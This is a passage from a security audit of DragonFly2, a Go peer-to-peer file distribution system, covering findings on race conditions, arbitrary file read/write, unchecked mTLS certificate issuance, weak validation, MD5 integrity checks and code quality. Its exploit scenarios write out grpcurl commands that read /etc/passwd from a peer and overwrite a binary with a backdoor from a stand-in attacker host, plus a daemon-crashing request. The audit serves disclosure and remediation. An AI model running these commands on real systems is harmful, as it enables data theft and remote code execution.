11. Vertex.DeleteInEdges and Vertex.DeleteOutEdges functions are not thread safe Severity: Undetermined Difficulty: High Type: Timing Finding ID: TOB-DF2-11 Target: Dragonfly2/pkg/graph/dag/vertex.go Description The Vertex.DeleteInEdges and Vertex.DeleteOutEdges functions are not thread safe, and may cause inconsistent states if they are called at the same time as other functions. Figure 11.1 shows implementation of the Vertex.DeleteInEdges function. // DeleteInEdges deletes inedges of vertex. func (v \*Vertex[T]) DeleteInEdges() { for \_, parent := range v.Parents.Values() { parent.Children.Delete(v) } v.Parents = set.NewSafeSet[\*Vertex[T]]() } Figure 11.1: The Vertex.DeleteInEdges method ( Dragonfly2/pkg/graph/dag/vertex.go#54-61 ) The for loop iterates through the vertex's parents, deleting the corresponding entry in their Children sets. After the for loop, the vertex's Parents set is assigned to be the empty set. However, if a parent is added to the vertex (on another thread) in between these two operations, the state will be inconsistent. The parent will have the vertex in its Children set, but the vertex will not have the parent in its Parents set. The same problem happens in Vertex.DeleteOutEdges method, since its code is essentially the same, but with Parents swapped with Children in all occurrences. It is undetermined what exploitable problems this bug can cause. Recommendations Short term, give Vertex.DeleteInEdges and Vertex.DeleteOutEdges methods access to the DAG 's mutex, and use mu.Lock to prevent other threads from accessing the DAG while Vertex.DeleteInEdges or Vertex.DeleteOutEdges is in progress. HashEye 39 DragonFly2 Security Assessment PUBLIC

Long term, consider writing randomized stress tests for these sorts of bugs; perform many writes concurrently, and see if any data races or invalid states occur. References • Documentation on golang's data race detector HashEye 40 DragonFly2 Security Assessment PUBLIC

12. Arbitrary file read and write on a peer machine Severity: High Difficulty: Low Type: Data Validation Finding ID: TOB-DF2-12 Target: Various locations Description A peer exposes the gRPC API and HTTP API for consumption by other peers. These APIs allow peers to send requests that force the recipient peer to create files in arbitrary file system locations, and to read arbitrary files. This allows peers to steal other peers' secret data and to gain remote code execution (RCE) capabilities on the peer's machine. The gRPC API has, among others, the ImportTask and ExportTask endpoints (figure 12.1). The first endpoint copies the file specified in the path argument (figures 12.2 and 12.3) to a directory pointed by the dataDir configuration variable (e.g., /var/lib/dragonfly ). // Daemon Client RPC Service service Daemon{ [skipped] // Import the given file into P2P cache system rpc ImportTask(ImportTaskRequest) returns (google.protobuf.Empty); // Export or download file from P2P cache system rpc ExportTask(ExportTaskRequest) returns (google.protobuf.Empty); [skipped] } Figure 12.1: Definition of the gRPC API exposed by a peer ( api/pkg/apis/dfdaemon/v1/dfdaemon.proto#113-131 ) message ImportTaskRequest { // Download url. string url = 1 [(validate.rules). string .min\_len = 1 ]; // URL meta info. common.UrlMeta url\_meta = 2 ; // File to be imported. string path = 3 [(validate.rules). string .min\_len = 1 ]; // Task type. common.TaskType type = 4 ; } Figure 12.2: Arguments for the ImportTask endpoint ( api/pkg/apis/dfdaemon/v1/dfdaemon.proto#76-85 ) HashEye 41 DragonFly2 Security Assessment PUBLIC

file, err := os.OpenFile(t.DataFilePath, os.O\_RDWR, defaultFileMode) if err != nil { return 0 , err } defer file.Close() if \_, err = file.Seek(req.Range.Start, io.SeekStart); err != nil { return 0 , err } n, err := io.Copy(file, io.LimitReader(req.Reader, req.Range.Length)) Figure 12.3: Part of the WritePiece method (called by the handler of the ImportTask endpoint) that copies the content of a file ( Dragonfly2/client/daemon/storage/local\_storage.go#124-133 ) The second endpoint moves the previously copied file to a location provided by the output argument (figures 12.4 and 12.5). message ExportTaskRequest { // Download url. string url = 1 [(validate.rules). string .min\_len = 1 ]; // Output path of downloaded file. string output = 2 [(validate.rules). string .min\_len = 1 ]; [skipped] } Figure 12.4: Arguments for the ExportTask endpoint ( api/pkg/apis/dfdaemon/v1/dfdaemon.proto#87-104 ) dstFile, err := os.OpenFile(req.Destination, os.O\_CREATE|os.O\_RDWR|os.O\_TRUNC, defaultFileMode) if err != nil { t.Errorf( "open tasks destination file error: %s" , err) return err } defer dstFile.Close() // copy\_file\_range is valid in linux // https://go-review.googlesource.com/c/go/+229101/ n, err := io.Copy(dstFile, file) Figure 12.5: Part of the Store method (called by the handler of the ExportTask endpoint) that

copies the content of a file; req.Destination equals the output argument ( Dragonfly2/client/daemon/storage/local\_storage.go#396-404 ) The HTTP API, called Upload Manager, exposes the /download/:task\_prefix/:task\_id endpoint. This endpoint can be used to read a file that was previously imported with the relevant gRPC API call. HashEye 42 DragonFly2 Security Assessment PUBLIC

Exploit Scenario Alice (a peer in a DragonFly2 system) wants to steal the /etc/passwd file from Bob (another peer). Alice uses the command shown in figure 12.6 to make Bob import the file to a dataDir directory. `grpcurl -plaintext -format json -d \ '{"url":"http://example.com", "path":"/etc/passwd", "urlMeta":{"digest": "md5:aaaff", "tag":"tob"}}' $BOB_IP:65000` dfdaemon.Daemon.ImportTask Figure 12.6: Command to steal /etc/passwd Next, she sends an HTTP request, similar to the one in figure 12.7, to Bob. Bob returns the content of his /etc/passwd file. `GET /download/<prefix>/<sha256>?peerId=172.17.0.1-1-<tag> HTTP / 1.1 Host: $BOB_IP:55002 Range: bytes=0-100` Figure 12.7: Bob's response, revealing /etc/passwd contents Later, Alice uploads a malicious backdoor executable to the peer-to-peer network. Once Bob has downloaded (e.g., via the exportFromPeers method) and cached the backdoor file, Alice sends a request like the one shown in figure 12.8 to overwrite the /opt/dragonfly/bin/dfget binary with the backdoor. `grpcurl -plaintext -format json -d \ '{"url":"http://alice.com/backdoor", "output":"/opt/dragonfly/bin/dfget", "urlMeta":{"digest": "md5:aaaff", "tag":"tob"}}' $BOB_IP:65000` dfdaemon.Daemon.ExportTask Figure 12.8: Command to overwrite dfget binary After some time Bob restarts the dfget daemon, which executes Alice's backdoor on his machine. Recommendations Short term, sandbox the DragonFly2 daemon, so that it can access only files within a certain directory. Mitigate path traversal attacks. Ensure that APIs exposed by peers cannot be used by malicious actors to gain arbitrary file read or write, code execution, HTTP request forgery, and other unintended capabilities. HashEye 43 DragonFly2 Security Assessment PUBLIC

13. Manager generates mTLS certificates for arbitrary IP addresses Severity: High Difficulty: Low Type: Authentication Finding ID: TOB-DF2-13 Target: Dragonfly2/manager/rpcserver/security\_server\_v1.go Description A peer can obtain a valid TLS certificate for arbitrary IP addresses, effectively rendering the mTLS authentication useless. The issue is that the Manager's Certificate gRPC service does not validate if the requested IP addresses "belong to" the peer requesting the certificate—that is, if the peer connects from the same IP address as the one provided in the certificate request. Please note that the issue is known to developers and marked with TODO comments, as shown in figure 13.1. `if addr, ok := p.Addr. (*net.TCPAddr); ok { ip = addr.IP.String() } else { ip, _, err = net.SplitHostPort(p.Addr.String()) if err != nil { return nil, err } } // Parse csr. [skipped] // Check csr signature. // TODO check csr common name and so on. if err = csr.CheckSignature(); err != nil { return nil, err } [skipped] // TODO only valid for peer ip // BTW we need support both of ipv4 and ipv6. ips := csr.IPAddresses if len(ips) == 0 { // Add default connected ip. ips = []net.IP{net.ParseIP(ip)} }` Figure 13.1: The Manager's Certificate gRPC handler for the IssueCertificate endpoint ( Dragonfly2/manager/rpcserver/security\_server\_v1.go#65-98 ) HashEye 44 DragonFly2 Security Assessment PUBLIC

Recommendations Short term, implement the missing IP addresses validation in the IssueCertificate endpoint of the Manager's Certificate gRPC service. Ensure that a peer cannot obtain a certificate with an ID that does not belong to the peer. Long term, research common security problems in PKI infrastructures and ensure that DragonFly2's PKI does not have them. Ensure that if a peer IP address changes, the certificates issued for that IP are revoked. HashEye 45 DragonFly2 Security Assessment PUBLIC

14. gRPC requests are weakly validated Severity: Undetermined Difficulty: Low Type: Data Validation Finding ID: TOB-DF2-14 Target: DragonFly2 Description The gRPC requests are weakly validated, and some requests' fields are not validated at all. For example, the ImportTaskRequest's url\_meta field is not validated and may be missing from a request (see figure 14.1). Sending requests to the ImportTask endpoint (as shown in figure 14.2) triggers the code shown in figure 14.3. The highlighted call to the logger accesses the req.UrlMeta.Tag variable, causing a nil dereference panic (because the req.UrlMeta variable is nil ). `message ImportTaskRequest { // Download url. string url = 1 [(validate.rules). string .min_len = 1 ]; // URL meta info. common.UrlMeta url_meta = 2 ; // File to be imported. string path = 3 [(validate.rules). string .min_len = 1 ]; // Task type. common.TaskType type = 4 ; }` Figure 14.1: ImportTaskRequest definition, with the url\_meta field missing any validation rules ( api/pkg/apis/dfdaemon/v1/dfdaemon.proto#76-85 ) `grpcurl -plaintext -format json -d \ '{"url":"http://example.com", "path":"x"}' $PEER_IP:65000` dfdaemon.Daemon.ImportTask Figure 14.2: An example command that triggers panic in the daemon gRPC server `s.Keep() peerID := idgen.PeerIDV1(s.peerHost.Ip) taskID := idgen.TaskIDV1(req.Url, req.UrlMeta) log := logger.With( "function" , "ImportTask" , "URL" , req.Url, "Tag" , req.UrlMeta.Tag, "taskID" , taskID, "file" , req.Path)` Figure 14.3: The req.UrlMeta variable may be

Another example of weak validation can be observed in the definition of the `UrlMeta` request (figure 14.4). The `digest` field of the request should contain a prefix followed by an either MD5 or SHA256 hex-encoded hash. While prefix and hex-encoding is validated, length of the hash is not. The length is validated only during the parsing. `// UrlMeta describes url meta info. message UrlMeta { // Digest checks integrity of url content, for example md5:xxx or sha256:yyy. string digest = 1 [(validate.rules).string = {pattern: "^(md5)|(sha256):[A-Fa-f0-9]+$" , ignore_empty: true }];`  
Figure 14.4: The `UrlMeta` request definition, with a regex validation of the `digest` field ( `api/pkg/apis/common/v1/common.proto#163-166` )  
Recommendations Short term, add missing validations for the `ImportTaskRequest` and `UrlMeta` messages. Centralize validation of external inputs, so that it is easy to understand what properties are enforced on the data. Validate data as early as possible (for example, in the proto-related code). Long term, use fuzz testing to detect missing validations. HashEye 47 DragonFly2 Security Assessment PUBLIC

15. Weak integrity checks for downloaded files Severity: High Difficulty: Medium Type: Data Validation Finding ID: TOB-DF2-15 Target: DragonFly2 Description The DragonFly2 uses a variety of hash functions, including the MD5 hash. This algorithm does not provide collision resistance; it is secure only against preimage attacks. While these security guarantees may be enough for the DragonFly2 system, it is not completely clear if there are any scenarios where lack of the collision resistance would compromise the system. There are no clear benefits to keeping the MD5 hash function in the system. Figure 15.1 shows the core validation method that protects the integrity of files downloaded from the peer-to-peer network. As shown in the figure, the hash of a file (sha256) is computed over hashes of all file's pieces (MD5). So the security provided by the more secure sha256 hash is lost, because of use of the MD5. `var pieceDigests [] string for i := int32( 0 ); i < t.TotalPieces; i++ { pieceDigests = append( pieceDigests, t.Pieces[i].Md5 ) digest := digest.SHA256FromStrings(pieceDigests...) if digest != t.PieceMd5Sign { t.Errorf( "invalid digest, desired: %s, actual: %s" , t.PieceMd5Sign, digest) t.Invalid.Store( true ) return ErrInvalidDigest }`  
Figure 15.1: Part of the method responsible for validation of files' integrity ( `Dragonfly2/client/daemon/storage/local_storage.go#255-265` )  
The MD5 algorithm is hard coded over the entire codebase (e.g., figure 15.2), but in some places the hash algorithm is configurable (e.g., figure 15.3). Further investigation is required to determine whether an attacker can exploit the configurability of the system to perform downgrade attacks—that is, to downgrade the security of the system by forcing users to use the MD5 algorithm, even when a more secure option is available. `reader, err = digest.NewReader( digest.AlgorithmMD5 , io.LimitReader(resp.Body, int64( req.piece.RangeSize)), digest.WithEncoded(req.piece.PieceMd5),`  
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`digest.WithLogger(req.log))`  
Figure 15.2: Hardcoded hash function ( `Dragonfly2/client/daemon/peer/piece_downloader.go#188` )  
`switch algorithm { case AlgorithmSHA1: if len( encoded ) != 40 { return nil , errors.New( "invalid encoded" ) } case AlgorithmSHA256: if len( encoded ) != 64 { return nil , errors.New( "invalid encoded" ) } case AlgorithmSHA512: if len( encoded ) != 128 { return nil , errors.New( "invalid encoded" ) } case AlgorithmMD5: if len( encoded ) != 32 { return nil , errors.New( "invalid encoded" ) } default : return nil , errors.New( "invalid algorithm" ) }`  
Figure 15.3: User-configurable hash function ( `Dragonfly2/pkg/digest/digest.go#111-130` )

Moreover, there are missing validations of the integrity hashes, for example in the `ImportTask` method (figure 15.5). `// TODO: compute and check hash digest if digest exists in ImportTaskRequest`  
Figure 15.4: Missing hash validation ( `Dragonfly2/client/daemon/rpcserver/rpcserver.go#904` )

Exploit Scenario Alice, a peer in the DragonFly2 system, creates two images: an innocent one, and one with malicious code. Both images consist of two pieces, and Alice generates the pieces so that their respective MD5 hashes collide (are the same). Therefore, the `PieceMd5Sign` metadata of both images are equal. Alice shares the innocent image with other peers, who attest to their validity (i.e., that it works as expected and is not malicious). Bob wants to download the image and requests it from the peer-to-peer network. After downloading the image, Bob checks its integrity with a SHA256 hash that is known to him. Alice, who is participating in the network, had already provided Bob the other image, the malicious one. Bob unintentionally uses the malicious image. HashEye 49 DragonFly2 Security Assessment PUBLIC

Recommendations Short term, remove support for the MD5. Always use SHA256, SHA3, or another secure hashing algorithm. Long term, take an inventory of all cryptographic algorithms used across the entire system. Ensure that no deprecated or non-recommended algorithms are used. HashEye 50 DragonFly2 Security Assessment PUBLIC

16. Invalid error handling, missing return statement Severity: Informational Difficulty: Low Type: Error Reporting Finding ID: TOB-DF2-16 Target: DragonFly2/pkg/source/transport\_option.go, Dragonfly2/manager/service/preheat.go Description There are two instances of a missing return

statement inside an if branch that handles an error from a downstream method. The first issue is in the UpdateTransportOption function, where failed parsing of the Proxy option prints an error, but does not terminate execution of the UpdateTransportOption function. func UpdateTransportOption(transport \*http.Transport, optionYaml [] byte ) error { [skipped] if len (opt.Proxy) > 0 { proxy, err := url.Parse(opt.Proxy) if err != nil { fmt.Printf( "proxy parse error: %s\n" , err) } transport.Proxy = http.ProxyURL(proxy) } Figure 16.1: the UpdateTransportOption function ( Dragonfly2/pkg/source/transport\_option.go#45-58 ) The second issue is in the GetV1Preheat method, where failed parsing of the rawID argument does not result in termination of the method execution. Instead, the id variable will be assigned either the zero or max\_uint value. func (s \*service) GetV1Preheat(ctx context.Context, rawID string ) (\*types.GetV1PreheatResponse, error ) { id, err := strconv.ParseUint(rawID, 10 , 32 ) if err != nil { logger.Errorf( "preheat convert error" , err) } Figure 16.2: the GetV1Preheat function ( Dragonfly2/manager/service/preheat.go#66-70 ) HashEye 51 DragonFly2 Security Assessment PUBLIC

Recommendations Short term, add the missing return statements in the UpdateTransportOption method. Long term, use static analysis to detect similar bugs. HashEye 52 DragonFly2 Security Assessment PUBLIC

17. Tiny file download uses hard coded HTTP protocol Severity: High Difficulty: High Type: Configuration Finding ID: TOB-DF2-17 Target: DragonFly2 Description The code in the scheduler for downloading a tiny file is hard coded to use the HTTP protocol, rather than HTTPS. This means that an attacker could perform a Man-in-the-Middle attack, changing the network request so that a different piece of data gets downloaded. Due to the use of weak integrity checks ( TOB-DF2-15 ), this modification of the data may go unnoticed. // DownloadTinyFile downloads tiny file from peer without range. func (p \*Peer) DownloadTinyFile() ([] byte , error ) { ctx, cancel := context.WithTimeout(context.Background(), downloadTinyFileContextTimeout) defer cancel() // Download url: http://\${host}:\${port}/download/\${taskIndex}/\${taskId}?peerId=\${peerID} targetURL := url.URL{ Scheme: "http" , Host: fmt.Sprintf( "%s:%d" , p.Host.IP, p.Host.DownloadPort), Path: fmt.Sprintf( "download/%s/%s" , p.Task.ID[: 3 ], p.Task.ID), RawQuery: fmt.Sprintf( "peerId=%s" , p.ID), } Figure 17.1: Hard-coded use of HTTP ( Dragonfly2/scheduler/resource/peer.go#435-446 )

Exploit Scenario A network-level attacker who cannot join a peer-to-peer network performs a Man-in-the-Middle attack on peers. The adversary can do this because peers (partially) communicate over plaintext HTTP protocol. The attack chains this vulnerability with the one described in TOB-DF2-15 to replace correct files with malicious ones. Unconscious peers use the malicious files.

Recommendations Short term, add a configuration option to use HTTPS for these downloads. Long term, audit the rest of the repository for other hard-coded uses of HTTP. HashEye 53 DragonFly2 Security Assessment PUBLIC

18. Incorrect log message Severity: Informational Difficulty: Low Type: Auditing and Logging Finding ID: TOB-DF2-18 Target: Dragonfly2/scheduler/service/service\_v1.go Description The scheduler service may sometimes output two different logging messages stating two different reasons why a task is being registered as a normal task. The following code is used to register a peer and trigger a seed peer download task. // RegisterPeerTask registers peer and triggers seed peer download task. func (v \*V1) RegisterPeerTask(ctx context.Context, req \*schedulerV1.PeerTaskRequest) (\*schedulerV1.RegisterResult, error ) { [skipped] // The task state is TaskStateSucceeded and SizeScope is not invalid. switch sizeScope { case commonv1.SizeScope\_EMPTY: [skipped] case commonv1.SizeScope\_TINY: // Validate data of direct piece. if !peer.Task.CanReuseDirectPiece() { peer.Log.Warnf( "register as normal task, because of length of direct piece is %d, content length is %d" , len (task.DirectPiece), task.ContentLength.Load()) break } result, err := v.registerTinyTask(ctx, peer) if err != nil { peer.Log.Warnf( "register as normal task, because of %s" , err.Error()) break } return result, nil case commonv1.SizeScope\_SMALL: result, err := v.registerSmallTask(ctx, peer) if err != nil { peer.Log.Warnf( "register as normal task, because of %s" , HashEye 54 DragonFly2 Security Assessment PUBLIC

err.Error()) break } return result, nil } result, err := v.registerNormalTask(ctx, peer) if err != nil { peer.Log.Error(err) v.handleRegisterFailure(ctx, peer) return nil , dferrors.New(commonv1.Code\_SchedError, err.Error()) } peer.Log.Info( "register as normal task, because of invalid size scope" ) return result, nil } Figure 18.1: Code snippet with incorrect logging ( Dragonfly2/scheduler/service/service\_v1.go#93-173 ) Each of the highlighted sets of lines above print "register as normal task, because [reason]," before exiting from the switch statement. Then, the task is registered as a normal task. Finally, another message is logged: "register as normal task, because of invalid size scope." This means that two different messages may be printed (one as a warning message, one as an informational message) with two contradicting reasons for why the task was registered as a normal task. This does not cause any security problems directly but may lead to difficulties while managing a DragonFly system or debugging DragonFly code.

Recommendations Short term, move the peer.Log.Info function call into a default branch in the

19. Usage of architecture-dependent int type Severity: Informational Difficulty: Low Type: Data Validation Finding ID: TOB-DF2-19 Target: DragonFly2 Description The DragonFly2 uses int and uint numeric types in its goLang codebase. These types' bit sizes are either 32 or 64 bits, depending on the hardware where the code is executed. Because of that, DragonFly2 components running on different architectures may behave differently. These discrepancies in behavior may lead to unexpected crashes of some components or incorrect data handling. For example, the handlePeerSuccess method casts peer.Task.ContentLength variable to the int type. Schedulers running on different machines may behave differently, because of this behavior. if len (data)  $\neq$  int (peer.Task.ContentLength.Load()) { peer.Log.Errorf( "download tiny task length of data is %d, task content length is %d" , len (data), peer.Task.ContentLength.Load()) return } Figure 19.1: example use of architecture-dependent int type ( DragonFly2/scheduler/service/service\_v1.go#1240-1243 ) Recommendations Short term, use a fixed bit size for all integer values. Alternatively, ensure that using the int type will not impact any computing where results must agree on all participants' computers. HashEye 56 DragonFly2 Security Assessment PUBLIC

A. Vulnerability Categories The following tables describe the vulnerability categories, severity levels, and difficulty levels used in this document. Vulnerability Categories Category Description Access Controls Insufficient authorization or assessment of rights Auditing and Logging Insufficient auditing of actions or logging of problems Authentication Improper identification of users Configuration Misconfigured servers, devices, or software components Cryptography A breach of system confidentiality or integrity Data Exposure Exposure of sensitive information Data Validation Improper reliance on the structure or values of data Denial of Service A system failure with an availability impact Error Reporting Insecure or insufficient reporting of error conditions Patching Use of an outdated software package or library Session Management Improper identification of authenticated users Testing Insufficient test methodology or test coverage Timing Race conditions or other order-of-operations flaws Undefined Behavior Undefined behavior triggered within the system HashEye 57 DragonFly2 Security Assessment PUBLIC

Severity Levels Severity Description Informational The issue does not pose an immediate risk but is relevant to security best practices. Undetermined The extent of the risk was not determined during this engagement. Low The risk is small or is not one the client has indicated is important. Medium User information is at risk; exploitation could pose reputational, legal, or moderate financial risks. High The flaw could affect numerous users and have serious reputational, legal, or financial implications. Difficulty Levels Difficulty Description Undetermined The difficulty of exploitation was not determined during this engagement. Low The flaw is well known; public tools for its exploitation exist or can be scripted. Medium An attacker must write an exploit or will need in-depth knowledge of the system. High An attacker must have privileged access to the system, may need to know complex technical details, or must discover other weaknesses to exploit this issue. HashEye 58 DragonFly2 Security Assessment PUBLIC

B. Code Maturity Categories The following tables describe the code maturity categories and rating criteria used in this document. Code Maturity Categories Category Description Arithmetic The proper use of mathematical operations and semantics Auditing The use of event auditing and logging to support monitoring Authentication / Access Controls The use of robust access controls to handle identification and authorization and to ensure safe interactions with the system Complexity Management The presence of clear structures designed to manage system complexity, including the separation of system logic into clearly defined functions Configuration The configuration of system components in accordance with best practices Cryptography and Key Management The safe use of cryptographic primitives and functions, along with the presence of robust mechanisms for key generation and distribution Data Handling The safe handling of user inputs and data processed by the system Documentation The presence of comprehensive and readable codebase documentation Maintenance The timely maintenance of system components to mitigate risk Memory Safety and Error Handling The presence of memory safety and robust error-handling mechanisms Testing and Verification The presence of robust testing procedures (e.g., unit tests, integration tests, and verification methods) and sufficient test coverage HashEye 59 DragonFly2 Security Assessment PUBLIC

Rating Criteria Rating Description Strong No issues were found, and the system exceeds industry standards. Satisfactory Minor issues were found, but the system is compliant with best practices. Moderate Some issues that may affect system safety were found. Weak Many issues that affect system safety were found. Missing A required component is missing, significantly affecting system safety. Not Applicable The category is not applicable to this review. Not Considered The category was not considered in this review. Further Investigation Required Further investigation is required to reach a meaningful conclusion. HashEye 60 DragonFly2 Security Assessment PUBLIC

C. Code Quality Issues This appendix contains findings that do not have immediate or obvious security implications. However, they may facilitate exploit chains targeting other vulnerabilities or may become easily exploitable in future releases.

1. Redundant variable in `loadLegacyGPRCTLSCredentials` method. The `mergedOptions` string is never used. `func loadLegacyGPRCTLSCredentials(opt config.SecurityOption, certifyClient *certify.Certify, security config.GlobalSecurityOption) (credentials.TransportCredentials, error) { // merge all options var mergedOptions = security mergedOptions.CACert += "\n" + opt.CACert mergedOptions.TLSVerify = opt.TLSVerify || security.TLSVerify` Figure C.1.1: Redundant variable declaration (`Dragonfly2/client/daemon/daemon.go#364-368`)
2. URLs are parsed with regexes and string methods. Instead, use a dedicated APIs like `net/url`. `fileds := strings.Split(polished[0], ",") host := strings.Split(fileds[0], "=")[1] query := strings.Join(fileds[1:], "&") return fmt.Sprintf("%s?%s", host, query)` Figure C.2.1: Example code handling a URL with strings methods (`Dragonfly2/manager/job/preheat.go#314-317`) `func parseAccessURL(url string) (*preheatImage, error) { r := accessURLPattern.FindStringSubmatch(url) if len(r) != 5 { return nil, errors.New("parse access url failed") }` Figure C.2.2: Example code handling an URL with a regex (`Dragonfly2/manager/job/preheat.go#324-328`)
3. Deprecated `os.Is*` family of functions is used. Instead, use the `errors.Is` function. `if err := os.MkdirAll(t.dataDir, dataDirMode); err != nil && !os.IsExist(err) {` Figure C.3.1: An example use of deprecated `os.Is*` methods family (`Dragonfly2/client/daemon/storage/storage_manager.go#427`) HashEye 61 DragonFly2 Security Assessment PUBLIC
4. Redundant `nil` check in `unmarshal` method. The `err` can be simply returned. `if err != nil { return err } return nil` Figure C.4.1: The redundant `if` statement (`Dragonfly2/client/util/types.go#122-125`)
5. The `ioutil.ReadFile` and `ioutil.ReadDir` methods are deprecated. However, they are used in multiple places. `data, err := ioutil.ReadFile(file)` Figure C.5.1: An example use of deprecated `ioutil.ReadFile` method (`Dragonfly2/cmd/dependency/dependency.go#203`)
6. The `fmt.Sprintf` method is used to concatenate the IP host and port in multiple places. Instead, use the `net.JoinHostPort` function. `func NewDfstore() *DfstoreConfig { url := url.URL{ Scheme: "http", Host: fmt.Sprintf("%s:%d", "127.0.0.1", DefaultObjectStorageStartPort), }` Figure C.6.1: an example use of `fmt.Sprintf` method to concatenate host and port (`Dragonfly2/client/config/dfstore.go#44-48`)
7. An unchecked type assertion is used in multiple places. For example, in the `ClientDaemon.Serve` method, the type assertion may panic if the `cfg` variable does not represent a valid `config.DaemonOption` structure. Either use checked assertions instead, or make sure that unchecked type assertions never fail. `daemonConfig := cfg.(*config.DaemonOption)` HashEye 62 DragonFly2 Security Assessment PUBLIC
8. Code copied from other repositories or from Go standard packages are not up to date. For example, the `ParseRange` function seems to miss the fix for `Range` headers with double negative sign (see issue #40940). Update the copy-pasted code and design a process to keep the code in sync with the upstream. `// copy from go/1.15.2 net/http/fs.go ParseRange func ParseRange(s string, size int64) ([]Range, error) {` Figure C.8.1: An example non-updated method (`Dragonfly2/pkg/net/http/range.go#63-64`)
9. Hard-coded strings are used instead of constants. For example, in a few places the `bytes=` string is used, but in other places, the `http.RangePrefix` constant is used. We recommend defining and using constants whenever possible. `urlMeta.Range = strings.TrimLeft(r, http.RangePrefix)` Figure C.9.1: An example use of a constant (`Dragonfly2/scheduler/job/job.go#175`) `rg = strings.TrimLeft(r, "bytes=")` Figure C.9.2: An example use of hard-coded string literal (`Dragonfly2/client/dfget/dfget.go#226`)
10. Incorrect comment in `scheduler/evaluator` code. In the code shown in figure C.10.1, the highlighted comment says that the output ranges from 0 to unlimited. However, the output actually ranges only from 0 to 1. `// calculateParentHostUploadSuccessScore 0.0~unlimited larger and better. func calculateParentHostUploadSuccessScore(peer *resource.Peer) float64 { uploadCount := peer.Host.UploadCount.Load() uploadFailedCount := peer.Host.UploadFailedCount.Load() if uploadCount < uploadFailedCount { return minScore } // Host has not been scheduled, then it is scheduled first.` HashEye 63 DragonFly2 Security Assessment PUBLIC
11. Repeated code. In `client/daemon/peer/peertask_bitmap.go`, the `NewBitmap` and `NewBitmapWithCap` functions are nearly identical. The implementation of `NewBitmap` could be replaced with a call to `NewBitmapWithCap(8)`.
12. Incorrect comment in proxy code. In the following code snippet, the `if` statement checks only whether `resp.ContentLength` is `-1`, but the comment implies that a `0` check should be done as well: `// when resp.ContentLength = -1 or 0, byte count can not be updated by transport if`

```
resp.ContentLength == -1 { metrics.ProxyRequestBytesCount.WithLabelValues(req.Method).Add( float64(n)) } Figure C.12.1: Code with incorrect comment ( DragonFly2/client/daemon/proxy/proxy.go#409-412 )
```

13. Bitmap functions are easy to misuse. Functions on the bitmap data structure defined in `Dragonfly2/client/daemon/peer/peertask_bitmap.go` are easy to misuse in a way that can cause security vulnerabilities. The following usage instructions should be documented in comments:

- Call `Set` or `Sets` only when the current value(s) are false to avoid invalidating the settled value.
- Do not call `Sets` with duplicate entries to avoid invalidating the settled value.
- Call `Clean` only when the current value is true to avoid invalidating the settled value, accidentally setting the value to true , or causing an out-of-bounds access panic.
- Use a mutex to protect calls to `Set` , `Clean` , `Sets` , and `IsSet` . A mutex is not needed when calling `Settled` .
- Do not call any function with negative index arguments.

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- Do not call `NewBitmapWithCap(0)` , since calling `Set` on the resulting bitmap will cause an infinite loop. We did not notice any incorrect usage of the bitmap functions in the current Dragonfly codebase.

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D. Automated Static Analysis This appendix describes the setup of the automated analysis tools used during this audit. Though static analysis tools frequently report false positives, they detect certain categories of issues, such as memory leaks, misspecified format strings, and the use of unsafe APIs, with essentially perfect precision. We recommend periodically running these static analysis tools and reviewing their findings.

**Semgrep** To install Semgrep, we used pip by running `python3 -m pip install semgrep` . We used version 1.32.0 of the Semgrep. To run Semgrep on the codebase, we ran the following in the root directory of the project: `semgrep --config "p/hashey" -sarif --metrics=off --output semgrep.sarif` We also ran the tool with the following rules (configs):

- `p/golang`
- `p/semgrep-go-correctness`
- `p/r2c-security-audit`
- `https://semgrep.dev/p/gosec`

We recommend integrating Semgrep into the project's CI/CD pipeline. Integrate at least the rules with HIGH confidence and the rules with MEDIUM confidence and HIGH impact. In addition to the three configurations listed above, we recommend using HashEye' set of Semgrep rules (from the repository, or less preferably, from the registry ) and dgryski rules .

**CodeQL** We installed CodeQL by following CodeQL's installation guide . We used CodeQL version 2.13.3, with Go version 1.20.6. After installing CodeQL, we ran the following command to create the project database for the DragonFly2 repository: `codeql database create codeql.db -l go` We then ran the following command to query the database: `codeql database analyze ./codeql.db --format=sarif-latest -o codeql.sarif -- go-security-and-quality.qls`

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We used the `go-security-and-quality` , `go-security-experimental` , and custom HashEye query packs. Although the CodeQL tool is used in DragonFly2's CI pipeline, the tool found dozens of issues. This may be due to usage of experimental and custom rules, because of weak configuration of the tool in the pipeline, or because findings reported in the pipeline were not fixed. Other static analysis tools

Although the only SAST tools used during the audit were Semgrep and CodeQL, we recommend using the following tools, either in an ad-hoc manner or by integrating them into the CI/CD pipeline:

- `golangci-lint` : This tool is a wrapper around various other tools (some but not all of which are listed below).
- `Go-sec` is a static analysis utility that looks for a variety of problems in Go codebases. Notably, `go-sec` will identify potential stored credentials, unhandled errors, cryptographically troubling packages, and similar problems.
- `Go-vet` is a very popular static analysis utility that searches for more go -specific problems within a codebase, such as mistakes pertaining to closures, marshaling, and unsafe pointers. `Go-vet` is integrated within the `go` command itself, with support for other tools through the `vettool` command line flag.
- `Staticcheck` is a static analysis utility that identifies both stylistic problems and implementation problems within a Go codebase. Note that many of the stylistic problems that `staticcheck` identifies are also indicative of potential "problem areas" in a project.
- `Ineffassign` is a static analysis utility that identifies ineffectual assignments. These ineffectual assignments often identify situations in which errors go unchecked, which could lead to undefined behavior of the program due to execution in an invalid program state.
- `Errcheck` is a static analysis utility that identifies situations in which errors are not handled appropriately.
- `Gcatch` contains a suite of static detectors aiming to identify concurrency bugs in large, real Go software systems. Please also see our blog post on Go security assessment techniques for further discussion of the Go-related analysis tools.

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E. Automated Dynamic Analysis This appendix describes the setup of the automated dynamic analysis tools and test harnesses used during this audit. The purpose of automated dynamic analysis In most software, unit and integration tests are typically the extent to which testing is performed. This type of testing detects the presence of functionality, allowing developers to ensure that the given system adheres to the expected specification. However, these methods of testing do not account for other potential behaviors that an implementation may exhibit. Fuzzing and property-based testing



